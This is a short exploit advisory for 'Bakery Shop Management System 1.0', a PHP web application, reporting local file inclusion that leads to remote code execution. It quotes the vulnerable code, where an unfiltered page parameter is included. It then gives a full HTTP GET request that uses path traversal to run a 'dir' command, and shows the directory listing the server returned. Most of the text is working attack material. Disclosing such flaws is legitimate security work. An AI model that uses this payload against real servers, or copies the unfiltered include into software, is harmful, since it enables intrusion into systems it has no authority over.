Bakery Shop Management System 1.0 Local File Inclusion Vulnerability

# Title:  Bakery Shop Management System 1.0  LFI To RCE
# Author: Hejap Zairy
# Date: 06.04.2022
# Vendor: https://www.campcodes.com/projects/php/simple-bakery-shop-management-system/
# Software: https://www.campcodes.com/wp-content/uploads/2022/02/bsms_0.zip
# Reference: https://github.com/Matrix07ksa
# Tested on: Windows, MySQL, Apache




#vulnerability Code  php
Needs more filtering require_once

```
require_once('DBConnection.php');
$page = isset($_GET['page']) ? $_GET['page'] : 'home';
if($_SESSION['type'] != 1 && in_array($page,array('maintenance','products','stocks'))){
    header("Location:./");
    exit;
}
```

[+] Payload GET


```
GET //bsms/?page=../../../0day&515=dir HTTP/1.1
Host: 0day.gov
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=ttdhr0ntd2dte05a2quob2kr3s
Upgrade-Insecure-Requests: 1
```


#Status: CRITICAL

#Response 
```
    <div class="container py-3" id="page-container">

                 Volume in drive C is OS
 Volume Serial Number is 2EF1-9DCA

 Directory of C:\xampp\htdocs\bsms

04/06/2022  04:18 AM    <DIR>          .
04/06/2022  05:05 AM    <DIR>          ..
02/14/2022  10:39 AM            16,358 Actions.php
08/04/2021  11:04 PM    <DIR>          css
02/14/2022  11:55 AM    <DIR>          database
09/09/2021  11:54 AM    <DIR>          DataTables
02/14/2022  11:55 AM               865 DBConnection.php
08/05/2021  03:09 AM    <DIR>          Font-Awesome-master
02/14/2022  12:00 PM            10,407 home.php
02/14/2022  11:07 AM    <DIR>          images
02/14/2022  02:26 PM            10,018 index.php
09/11/2021  11:40 AM    <DIR>          js
02/14/2022  11:11 AM             4,372 login.php

```



# Description:
Local File Inclusion is an attack technique in which attackers trick a web application into either running or exposing files on a web server or execution file If converted rce


# Proof and Exploit:
https://i.imgur.com/qLNHh9Q.png
https://i.imgur.com/XDSsyNL.jpg